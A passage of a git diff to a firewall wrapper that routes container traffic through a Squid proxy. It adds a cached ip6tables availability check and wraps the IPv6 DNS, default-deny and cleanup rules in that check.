OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN - ip6tables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN -done +if [ "$IP6TABLES_AVAILABLE" = true ]; then + for dns_server in "${IPV6_DNS_SERVERS[@]}"; do + echo "[iptables] Allow DNS to trusted IPv6 server: $dns_server" + ip6tables -t nat -A OUTPUT -p udp -d "$dns_server" --dport 53 -j RETURN + ip6tables -t nat -A OUTPUT -p tcp -d "$dns_server" --dport 53 -j RETURN + done +elif [ ${#IPV6_DNS_SERVERS[@]} -gt 0 ]; then + echo "[iptables] WARNING: IPv6 DNS servers configured but ip6tables not available" +fi # Allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution echo "[iptables] Allow DNS to Docker embedded DNS (127.0.0.11)..." @@ -84,9 +110,11 @@ for dns_server in "${IPV4_DNS_SERVERS[@]}"; do done # Allow return traffic to trusted IPv6 DNS servers -for dns_server in "${IPV6_DNS_SERVERS[@]}"; do - ip6tables -t nat -A OUTPUT -d "$dns_server" -j RETURN -done +if [ "$IP6TABLES_AVAILABLE" = true ]; then + for dns_server in "${IPV6_DNS_SERVERS[@]}"; do + ip6tables -t nat -A OUTPUT -d "$dns_server" -j RETURN + done +fi # Allow traffic to Squid proxy itself echo "[iptables] Allow traffic to Squid proxy (${SQUID_IP}:${SQUID_PORT})..." @@ -103,5 +131,9 @@ iptables -t nat -A OUTPUT -p tcp --dport 443 -j DNAT --to-destination "${SQUID_I echo "[iptables] NAT rules applied successfully" echo "[iptables] Current IPv4 NAT OUTPUT rules:" iptables -t nat -L OUTPUT -n -v -echo "[iptables] Current IPv6 NAT OUTPUT rules:" -ip6tables -t nat -L OUTPUT -n -v 2>/dev/null || echo "[iptables] (ip6tables NAT not available)" +if [ "$IP6TABLES_AVAILABLE" = true ]; then + echo "[iptables] Current IPv6 NAT OUTPUT rules:" + ip6tables -t nat -L OUTPUT -n -v +else + echo "[iptables] (ip6tables NAT not available)" +fi diff --git a/src/host-iptables.ts b/src/host-iptables.ts index a08a2f7..fb31223 100644 --- a/src/host-iptables.ts +++ b/src/host-iptables.ts @@ -7,6 +7,9 @@ const CHAIN_NAME = 'FW_WRAPPER'; const CHAIN_NAME_V6 = 'FW_WRAPPER_V6'; const NETWORK_SUBNET = '172.30.0.0/24'; +// Cache for ip6tables availability check (only checked once per run) +let ip6tablesAvailableCache: boolean | null = null; + /** * Gets the bridge interface name for the firewall network */ @@ -27,6 +30,27 @@ async function getNetworkBridgeName(): Promise { } } +/** + * Checks if ip6tables is available and functional. + * The result is cached to avoid redundant system calls. + */ +async function isIp6tablesAvailable(): Promise { + // Return cached result if available + if (ip6tablesAvailableCache !== null) { + return ip6tablesAvailableCache; + } + + try { + await execa('ip6tables', ['-L', '-n'], { timeout: 5000 }); + ip6tablesAvailableCache = true; + return true; + } catch (error) { + logger.debug('ip6tables not available:', error); + ip6tablesAvailableCache = false; + return false; + } +} + /** * Creates the dedicated firewall network if it doesn't exist * Returns the Squid and agent IPs @@ -267,95 +291,102 @@ export async function setupHostIptables(squidIp: string, squidPort: number, dnsS // Add IPv6 DNS server rules using ip6tables if (ipv6DnsServers.length > 0) { - // Set up IPv6 chain if we have IPv6 DNS servers - await setupIpv6Chain(bridgeName); - - // IPv6 chain needs to mirror IPv4 chain's comprehensive filtering - // This prevents IPv6 from becoming an unfiltered bypass path + // Check if ip6tables is available before setting up IPv6 rules + const ip6tablesAvailable = await isIp6tablesAvailable(); + if (!ip6tablesAvailable) { + logger.warn('ip6tables is not available, IPv6 DNS servers will not be configured at the host level'); + logger.warn(' IPv6 traffic may not be properly filtered'); + } else { + // Set up IPv6 chain if we have IPv6 DNS servers + await setupIpv6Chain(bridgeName); - // Note: Squid proxy rule is omitted for IPv6 since Squid runs on IPv4 only + // IPv6 chain needs to mirror IPv4 chain's comprehensive filtering + // This prevents IPv6 from becoming an unfiltered bypass path - // 1. Allow established and related connections (return traffic) - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-m', 'conntrack', '--ctstate', 'ESTABLISHED,RELATED', - '-j', 'ACCEPT', - ]); + // Note: Squid proxy rule is omitted for IPv6 since Squid runs on IPv4 only - // 2. Allow localhost/loopback traffic - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-o', 'lo', - '-j', 'ACCEPT', - ]); - - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-d', '::1/128', - '-j', 'ACCEPT', - ]); + // 1. Allow established and related connections (return traffic) + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-m', 'conntrack', '--ctstate', 'ESTABLISHED,RELATED', + '-j', 'ACCEPT', + ]); - // 3. Allow essential ICMPv6 (required for IPv6 functionality) - // This includes: destination unreachable, packet too big, time exceeded, - // echo request/reply, and Neighbor Discovery Protocol (NDP) - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-p', 'ipv6-icmp', - '-j', 'ACCEPT', - ]); + // 2. Allow localhost/loopback traffic + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-o', 'lo', + '-j', 'ACCEPT', + ]); - // 4. Allow DNS ONLY to specified trusted IPv6 DNS servers - for (const dnsServer of ipv6DnsServers) { await execa('ip6tables', [ '-t', 'filter', '-A', CHAIN_NAME_V6, - '-p', 'udp', '-d', dnsServer, '--dport', '53', + '-d', '::1/128', '-j', 'ACCEPT', ]); + // 3. Allow essential ICMPv6 (required for IPv6 functionality) + // This includes: destination unreachable, packet too big, time exceeded, + // echo request/reply, and Neighbor Discovery Protocol (NDP) await execa('ip6tables', [ '-t', 'filter', '-A', CHAIN_NAME_V6, - '-p', 'tcp', '-d', dnsServer, '--dport', '53', + '-p', 'ipv6-icmp', '-j', 'ACCEPT', ]); - } - // 5. Block IPv6 multicast and link-local traffic - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-d', 'ff00::/8', // IPv6 multicast range - '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', - ]); + // 4. Allow DNS ONLY to specified trusted IPv6 DNS servers + for (const dnsServer of ipv6DnsServers) { + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'udp', '-d', dnsServer, '--dport', '53', + '-j', 'ACCEPT', + ]); - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-d', 'fe80::/10', // IPv6 link-local range - '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', - ]); + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'tcp', '-d', dnsServer, '--dport', '53', + '-j', 'ACCEPT', + ]); + } - // 6. Block all other IPv6 UDP traffic (DNS to whitelisted servers already allowed above) - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-p', 'udp', - '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_UDP6] ', '--log-level', '4', - ]); + // 5. Block IPv6 multicast and link-local traffic + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-d', 'ff00::/8', // IPv6 multicast range + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-p', 'udp', - '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', - ]); + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-d', 'fe80::/10', // IPv6 link-local range + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); - // 7. Default deny all other IPv6 traffic (including TCP) - // This prevents IPv6 from being an unfiltered bypass path - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_OTHER6] ', '--log-level', '4', - ]); + // 6. Block all other IPv6 UDP traffic (DNS to whitelisted servers already allowed above) + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'udp', + '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_UDP6] ', '--log-level', '4', + ]); - await execa('ip6tables', [ - '-t', 'filter', '-A', CHAIN_NAME_V6, - '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', - ]); + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-p', 'udp', + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); + + // 7. Default deny all other IPv6 traffic (including TCP) + // This prevents IPv6 from being an unfiltered bypass path + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-j', 'LOG', '--log-prefix', '[FW_BLOCKED_OTHER6] ', '--log-level', '4', + ]); + + await execa('ip6tables', [ + '-t', 'filter', '-A', CHAIN_NAME_V6, + '-j', 'REJECT', '--reject-with', 'icmp6-port-unreachable', + ]); + } } // Also allow DNS to Docker's embedded DNS server (127.0.0.11) for container name resolution @@ -500,36 +531,41 @@ export async function cleanupHostIptables(): Promise { logger.debug('IPv4 iptables rules cleaned up'); - // Clean up IPv6 rules - if (bridgeName) { - const { stdout: stdout6 } = await execa('ip6tables', [ - '-t', 'filter', '-L', 'DOCKER-USER', '-n', '--line-numbers', - ], { reject: false }); + // Clean up IPv6 rules (only if ip6tables is available) + const ip6tablesAvailable = await isIp6tablesAvailable(); + if (ip6tablesAvailable) { + if (bridgeName) { + const { stdout: stdout6 } = await execa('ip6tables', [ + '-t', 'filter', '-L', 'DOCKER-USER', '-n', '--line-numbers', + ], { reject: false }); - const lines6 = stdout6.split('\n'); - const lineNumbers6: number[] = []; - for (const line of lines6) { - if (line.includes(CHAIN_NAME_V6)) { - const match = line.match(/^(\d+)/); - if (match) { - lineNumbers6.push(parseInt(match[1], 10)); + const lines6 = stdout6.split('\n'); + const lineNumbers6: number[] = []; + for (const line of lines6) { + if (line.includes(CHAIN_NAME_V6)) { + const match = line.match(/^(\d+)/); + if (match) { + lineNumbers6.push(parseInt(match[1], 10)); + } } } - } - for (const lineNum of lineNumbers6.reverse()) { - logger.debug(`Removing rule ${lineNum} from DOCKER-USER (IPv6)`); - await execa('ip6tables', [ - '-t', 'filter', '-D', 'DOCKER-USER', lineNum.toString(), - ], { reject: false }); + for (const lineNum of lineNumbers6.reverse()) { + logger.debug(`Removing rule ${lineNum} from DOCKER-USER (IPv6)`); + await execa('ip6tables', [ + '-t', 'filter', '-D', 'DOCKER-USER', lineNum.toString(), + ], { reject: false }); + } } - } - // Flush and delete our custom IPv6 chain - await execa('ip6tables', ['-t', 'filter', '-F', CHAIN_NAME_V6], { reject: false }); - await execa('ip6tables', ['-t', 'filter', '-X', CHAIN_NAME_V6], { reject: false }); + // Flush and delete our custom IPv6 chain + await execa('ip6tables', ['-t', 'filter', '-F', CHAIN_NAME_V6], { reject: false }); + await execa('ip6tables', ['-t', 'filter', '-X', CHAIN_NAME_V6], { reject: false }); - logger.debug('IPv6 ip6tables rules cleaned up'); + logger.debug('IPv6 ip6tables rules cleaned up'); + } else { + logger.debug('ip6tables not available, skipping IPv6 cleanup'); + } logger.debug('Host-level iptables rules cleaned up'); } catch (error) { logger.debug('Error cleaning up iptables rules:', error);